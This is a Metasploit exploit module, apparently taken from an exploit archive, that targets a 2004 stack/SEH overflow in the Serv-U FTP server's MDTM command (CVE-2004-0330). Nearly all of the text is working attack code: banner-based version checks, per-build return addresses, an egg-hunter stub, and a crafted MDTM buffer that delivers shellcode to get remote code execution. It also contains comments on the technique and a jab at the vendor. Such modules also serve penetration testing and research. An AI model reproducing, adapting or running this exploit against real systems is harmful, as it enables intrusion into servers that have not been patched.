RhinoSoft Serv-U FTPd Server – MDTM Overflow (Metasploit)
## # $Id: servu_mdtm.rb 10394 2010-09-20 08:06:27Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Ftp def initialize(info = {}) super(update_info(info, 'Name' => 'Serv-U FTPD MDTM Overflow', 'Description' => %q{ This is an exploit for the Serv-U\'s MDTM command timezone overflow. It has been heavily tested against versions 4.0.0.4/4.1.0.0/4.1.0.3/5.0.0.0 with success against nt4/2k/xp/2k3. I have also had success against version 3, but only tested 1 version/os. The bug is in all versions prior to 5.0.0.4, but this exploit will not work against versions not listed above. You only get one shot, but it should be OS/SP independent. This exploit is a single hit, the service dies after the shellcode finishes execution. }, 'Author' => [ 'spoonm' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 10394 $', 'References' => [ [ 'CVE', '2004-0330'], [ 'OSVDB', '4073'], [ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2004-02/0654.html'], [ 'URL', 'http://www.cnhonker.com/advisory/serv-u.mdtm.txt'], [ 'URL', 'http://www.cnhonker.com/index.php?module=releases&act=view&type=3&id=54'], [ 'BID', '9751'], ], 'Privileged' => false, 'Payload' => { 'Space' => 1000, 'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e", 'StackAdjustment' => -3500, }, 'Targets' => [ [ 'Serv-U Uber-Leet Universal ServUDaemon.exe', # Tested OK - hdm 11/25/2005 { 'Platform' => 'win', 'Ret' => 0x00401877, }, ], [ 'Serv-U 4.0.0.4/4.1.0.0/4.1.0.3 ServUDaemon.exe', { 'Platform' => 'win', 'Ret' => 0x0040164d, }, ], [ 'Serv-U 5.0.0.0 ServUDaemon.exe', { 'Platform' => 'win', 'Ret' => 0x0040167e, }, ], ], 'DisclosureDate' => 'Feb 26 2004', 'DefaultTarget' => 0)) register_advanced_options( [ OptInt.new('SEHOffset', [ false, "Offset from beginning of timezone to SEH", 47 ]), OptInt.new('ForceDoubling', [ false, "1 to force \\xff doubling for 4.0.0.4, 0 to disable it, 2 to autodetect", 2 ]), ], self.class) end # From 5.0.0.4 Change Log # "* Fixed bug in MDTM command that potentially caused the daemon to crash." # # Nice way to play it down boys # # Connected to ftp2.rhinosoft.com. # 220 ProFTPD 1.2.5rc1 Server (ftp2.rhinosoft.com) [62.116.5.74] # # Heh :) def check connect disconnect case banner when /Serv-U FTP Server v4\.1/ print_status('Found version 4.1.0.3, exploitable') return Exploit::CheckCode::Vulnerable when /Serv-U FTP Server v5\.0/ print_status('Found version 5.0.0.0 (exploitable) or 5.0.0.4 (not), try it!'); return Exploit::CheckCode::Appears when /Serv-U FTP Server v4\.0/ print_status('Found version 4.0.0.4 or 4.1.0.0, additional check.'); send_user(datastore['USER']) send_pass(datastore['PASS']) if (double_ff?()) print_status('Found version 4.0.0.4, exploitable'); return Exploit::CheckCode::Vulnerable else print_status('Found version 4.1.0.0, exploitable'); return Exploit::CheckCode::Vulnerable end when /Serv-U FTP Server/ print_status('Found an unknown version, try it!'); return Exploit::CheckCode::Detected else print_status('We could not recognize the server banner') return Exploit::CheckCode::Safe end return Exploit::CheckCode::Safe end def exploit connect_login print_status("Trying target #{target.name}...") # Should have paid more attention to skylined's exploit, only after figuring # out how my payloads were getting transformed did I remember seeing \xff # doubling in his CHMOD exploit, arg! shellcode = payload.encoded case datastore['ForceDoubling'] when 1 print_status("Forced doubling of all \\xff sequences in the encoded payload") shellcode.gsub!(/\xff/, "\xff\xff") when 0 print_status("Forced doubling has been disabled") when 2 if (double_ff?()) print_status("Forced doubling enabled after detection of version 4.0.0.4") shellcode.gsub!(/\xff/, "\xff\xff") end end # Searcher expects address to start scanning at in edi # Since we got here via a pop pop ret, we can just the address of the jmp # off the stack, add esp, BYTE -4 ; pop edi search_rtag = "\x34\x33\x32\x31" # +1 / 0 / -1 [start, end, stored] search_stub = Rex::Arch::X86.searcher(search_rtag) search_code = "\x83\xc4\xfc\x5f" + search_stub + 'BB' if (datastore['SEHOffset'] < search_code.length) print_error("Not enough room for search code, adjust SEHOffset") return end jump_back = Rex::Arch::X86.jmp_short('$+' + (-1 * search_code.length).to_s) + 'BB' buf = 'MDTM 20031111111111+' + ('A' * (datastore['SEHOffset'] - search_code.length)) buf << search_code buf << jump_back buf << [target.ret].pack('V') buf << ' /' buf << Rex::Arch::X86.dword_adjust(search_rtag, 1) buf << shellcode buf << search_rtag send_cmd( [buf], false ) handler disconnect end def double_ff? res = send_cmd( ['P@SW'], true ) return (res and res =~ /^500/) ? true : false end end |